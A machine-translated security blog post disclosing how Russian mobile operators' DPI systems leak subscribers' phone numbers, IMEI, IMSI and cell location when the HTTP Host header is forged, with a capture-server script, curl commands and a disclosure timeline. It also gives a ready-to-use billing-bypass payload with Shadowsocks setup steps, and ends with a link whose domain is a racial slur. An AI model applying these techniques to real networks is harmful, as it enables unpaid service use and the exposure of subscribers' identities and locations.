DPI of mobile operators: from free Internet to number and location disclosure

Deep traffic analysis systems (Deep Packet Inspection, DPI) - hardware and software systems for classifying passing Internet traffic by data type (web page, document, audio, video), protocol (HTTP, BitTorrent, VoIP / SIP) and specific programs (Skype, WhatsApp), often with additional functionality. DPI systems are distributed and used worldwide by wired and wireless access providers.

Mobile operators use in-depth traffic analysis systems, first of all, to prioritize different content on the Internet (QoS), so that they can download a large file and watch videos on YouTube at the same time, and that one cellular user who actively uses the Internet does not create problems for other users. . Operators use DPI from about the beginning of the two thousandth, with the advent of UMTS (3G), to more or less honestly share a wireless channel of limited bandwidth.

Mobile operators also use other DPI features, for example, TCP and HTTP traffic acceleration (TCP PEP, Performance-enhancing Proxy), to speed up the Internet on mobile networks and identify users by websites. If you try to enter the operator’s personal account from the phone, on many operators it will open immediately, without the need to enter your login and password. Or, that could be found 5 years ago, a simple call on a suspicious website or a click on an advertising banner from an Android game turned into an automatic subscription to a paid service, which could be found in the SMS message.
')

How it works

The system of in-depth analysis of traffic is configured in such a way that it adds HTTP service headers when executing an HTTP request to sites (hosts) from the list defined by the operator. The headers can contain the internal IP address of the subscriber, the telephone number (MSISDN), IMEI and IMSI identifiers, the identifier of the base station (tower) to which the subscriber is connected (ECI / TAC).

We will need to install a simple HTTP server on the Internet server, which will receive the request, display it on the screen, and send an HTTP response. Something like that:

#!/usr/bin/env python3 import socketserver class MyTCPHandler(socketserver.BaseRequestHandler): def handle(self): while True: r = self.request.recv(8192) if b"\r\n\r\n" in r or b"\n\n" in r: break if not r: return print("-----\r\n" + r.decode() + "-----") self.request.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\n") self.request.sendall(b"OK") return if __name__ == "__main__": HOST, PORT = "0.0.0.0", 80 socketserver.ForkingTCPServer.allow_reuse_address = True server = socketserver.ForkingTCPServer((HOST, PORT), MyTCPHandler) server.allow_reuse_address = True server.serve_forever() 

Send an HTTP request using a Megaphone SIM card:

 $ curl myserver.com OK 

On the server came:

 GET / HTTP/1.1 Host: myserver.com User-Agent: curl/7.51.0 Accept: */* 

Nothing unusual. Let's change the Host header to some internal domain of the operator, for example, to the main site megafon.ru:

 $ curl myserver.com -H "Host: megafon.ru" 

On server:

 GET / HTTP/1.1 Host: megafon.ru User-Agent: curl/7.51.0 Accept: */* X-Real-IP: 100.114.20.123 X-NOKIA-MSISDN: 79319350195 

Not only the HTTP headers sent by curl came to the server, but also the additional X-Real-IP and X-NOKIA-MSISDN headers containing the internal IP address (for Carrier-grade NAT) and the phone number!

Why did this happen? Apparently, when compiling the list, they forgot to link specific domains to specific IP addresses or ranges, and checking the opening of a site from a list is done only by comparing the HTTP Host header.

Frequently, access to internal sites is not charged by operators, which allows you to get free Internet by simply replacing the Host HTTP request header.

Special hosts

Megaphone

Megaphone has a lot of internal hosts for which DPI adds different headers:

• welcome.megafonnw.ru adds X-MegaFon-IMSI header with a SIM-card identifier (IMSI)
• wap.megafon.ru adds X-Megafon-IMEISV with a phone identifier (IMEI)
• id.megafon.ru reveals the numbers of the towers to which the phone is currently connected in the headers of X-Megafon-TAC and X-Megafon-ECI
• The site of a specific region (for example, szfwp.megafon.ru ) adds the header X-3GPP-USER-LOCATION-INFO

Also service headers are added for zg.megafon.ru, m.megafon.ru and igapi.megafon.ru.

Tele 2

There were special hosts to which requests X-MSISDN and X-FORWARDED-FOR service headers were added:

• login.tele2.ru
• market.tele2.ru
• oplata.tele2.ru
• play.tele2.ru
• wap.tele2.ru
• block.tele2.ru

The X-MSISDN header contained the Tele2 client phone number. The X-FORWARDED-FOR header contains the internal IP address of the client.

Tele2 uses Ericsson's DPI. It was reconfigured in early December, and this problem was fixed.

Request example:

Beeline

DPI Beeline in HTTP requests to any IP address with the Host: balance.beeline.ru header, X-Nokia-msisdn and IMEI service headers are added:

 … X-Nokia-msisdn: 79650939376 IMEI: 49727069-021839-00 

Request example:


Hosts beeline.ru, www.beeline.ru , spb.beeline.ru are not processed by DPI, they are allowed to connect based on IP-address, and not the Host header.

Mts

DPI MTS adds service headers to the following hosts:
* 111.mts.ru :
X-MSISDN-1hIjUVLgCcdQ: 79118141234
SGSN-MCC-MNC: 25001

* books.mts.ru :
X-MSISDN: 79118141234

* pda.mts.ru :
X-AQIC5wM2LY4SfcyEwLC5hS0e02r4: 79118141234
SGSN-MCC-MNC: 25001
X-SGSN-IP: 193.27.231.49

* h2o.mts.ru, interceptor.mts.ru, internet.mts.ru :
X-MSISDN-B0kOoE2clldi: 79118141234

Package handling considerations

Tele2 Proxy adds the following headers for the HTTP / 1.0 user request if they are missing:

 Accept-Encoding: gzip, deflate Accept: */* 

And the following header in the server response, if the request was made over HTTP / 1.1 :

 Transfer-Encoding: chunked 

The answer is chunked-encoding on the proxy side.

Proxy buffers or does not miss some requests until it receives a correct answer, and can break large packets into several small ones. The answer to the GET request will come only after the server starts sending the response body . The answer will not reach the client, if the server sent only headers, no body.
This feature does not apply to POST requests.

If the client sent both HTTP GET request headers and data in one packet, they will be split into two packets by the proxy server:


This feature does not apply to POST requests.

DPI Tele2, most likely, does not save state connections (stateless), and tries to look for an HTTP request in each new TCP segment that the client sends. In addition, the query does not have to begin with the first byte of the segment, but can be divided by line breaks. For example, the following query is true in terms of DPI:

 \r\n \r\n \r\n \r\n GET / HTTP/1.0\r\n Host: ya.ru\r\n \r\n 

This feature could be exploited through a browser, until Tele2 reconfigured the DPI, and did not limit the service hosts to IP address ranges. It is possible to create such a POST request of the multipart/form-data (sending files), in the body of which there will be a new HTTP request header, which the DPI will accept as a request during the Keep-Alive session and add service headers, and send it through the browser .

Request example:


Remote server received user number. Apparently, this is a serious flaw in Ericsson's software, and not only Tele2 is inherent.

Beeline's DPI analyzes headers, stores the state of the HTTP stream, and slows down or limits data transfer if a non-typical HTTP sending procedure starts, for example, if a client starts to send large data streams in the body of a GET request (after the double \ r \ n, as if it were a POST request), or if the server sends more data than specified in the Content-Length header. An HTTP request is required, otherwise DPI will not allow the connection.

The MTS does not work with sending large data in the headers (apparently, a check is made for the length of the header and its value).

For MTS, in order to keep track of new HTTP requests within the keep-alive session, it is necessary to send HTTP response headers and HTTP response bodies from the server in separate packets, without specifying the Content-Length , and with the Content-Type: application / octet header -stream : in the first TCP packet, all headers are transmitted, including \ r \ n \ r \ n, and the second and subsequent packets transmit the data itself.


In addition, in the MTS DPI, the processing of HTTP request headers is incorrectly implemented, and the disclosure of a phone number can be exploited from the browser. In the request, you need to add the X-Host: pda.mts.ru header using Javascript, and “cut” the request exactly so that the “ X- ” remains in one package, and the other begins with “ Host: ”. This can be done by manipulating the TCP Window Size on the server side.

Internet blocking bypass

With a negative balance and connected Internet options, which implies blocking access when the included traffic package is exhausted, the operators redirect all HTTP requests to their own stub pages, usually located on the subdomains of the main domain of the operator. For MTS, Beeline and Megaphone, the ability to access the site is checked by comparing the Host HTTP header, and the IP address is not checked. The same thing happened with Tele2, before the DPI reconfigured.

HTTP requests to any IP address and port 80 with the Host header pointing to the service domain do not consume traffic from the packet and work even with a negative balance.
Empirically, it was found that to establish a two-way exchange and bypass blocking, it is enough to send a POST request with a large Content-Length value, and also include the Content-Length in the server response:

  : >>> POST / HTTP/1.0\r\n Host: %s\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n Content-Type: multipart/form-data; boundary=fbfbfb\r\n Content-Length: 999999999999\r\n \r\n   : >>> HTTP/1.0 200 OK\r\n Content-Length: 999999999999\r\n \r\n 

After that, you can send arbitrary (non-HTTP) data in both directions.

I made a patch to the ShadowSocks 2.5.6 proxy server, which adds these HTTP headers at the time of the connection:

1. Apply patch compile
2. Create /etc/shadowsocks.conf file on the server (see below)
3. Start ss-server on server: ss-server -c /etc/shadowsocks.conf
4. Run ss-local on a device with 3G / LTE connection:
   ss-local -s SERVERIP -p 80 -l 1081 -m table -k verysecretpassword -H DOMAIN
   where DOMAIN :
   unblock.mts.ru or bonus.mts.ru for MTS
   corp.megafon.ru for Megaphone
   balance.beeline.ru for Beeline
5. Configure your browser and other programs on Socks5 proxy 127.0.0.1:1081
   Or use ss-redir via iptables

/etc/shadowsocks.conf

 { "server":"0.0.0.0", "server_port":80, "password":"verysecretpassword", "method":"table", } 

Provider Alert

In early December 2016, I tried to contact technical support from all four operators to report a problem. I didn’t want to disclose the details of free Internet for free, so I was expecting a reward for the reported vulnerability. So that everything is honest, and to confirm that I am not some kind of dupe asking for money, web vulnerabilities have been found that are not related to DPI: Beeline has access to the personal account from the attacker's website, without entering a login and password, MTS - disclosure of phone number, balance and tariff from the site of the attacker.

MTS and Beeline refused to work with anonymous clients, so exactly a year ago, on December 29, 2016, a personal meeting was organized with representatives of the MTS and Beeline security services, where they were given all the details of the web vulnerabilities. It was proposed to conclude a contract to search for vulnerabilities in DPI, if that suits them.

During 2017, I repeatedly contacted MTS and Beeline to clarify how things are progressing with the closure of web vulnerabilities, but did not receive a response. I wrote from different email addresses to eliminate technical problems with mail delivery, as well as personal messages on Twitter.

Beeline “covered up” the vulnerability only at the end of October - made it impossible to be exploited through a web browser, but any program installed on the phone can still get access to the personal account, find out the phone number, change the tariff, connect the options .

MTS has not yet closed the vulnerability. Any site can get your phone number.

Megaphone responded to the first two messages, but later did not receive a response from them.

The only one who pleased me was the representatives of Tele2. They responded quickly and clearly, offered a monetary reward.

Conclusion

Any program that has Internet access on your phone with a SIM Megaphone can find out your location accurate to the base station, phone number, IMEI and IMSI. With SIM MTS, it can receive your phone number, IMEI and IMSI identifiers, and Beeline will only allow you to open a phone number.

The web site of the attacker, containing a specially designed request, will allow you to reveal your phone number on the MTS .

Also, you should not forget about the vulnerability of web services of mobile operators that are not related to DPI: with Beeline, any program can access your personal account, find out your phone number, balance, tariff, connected options, and can manage them, and MTS - find out your phone number and balance.

DPI can be dangerous. Operators are reluctant to contact and fix vulnerabilities. If you use MTS, Beeline or Megaphone, write complaints, spread rot to them.

Explore and experiment!

Bonus

Go to the site loudnigra.xyz from your mobile MTS and wait for the call! MTS fixed the web vulnerability on December 31, 2017. The remaining vulnerabilities are still working.

^{Free Internet and all these headers work even in the Ukrainian Kyivstar, the Serbian Telenor, the Latvian Tele2.}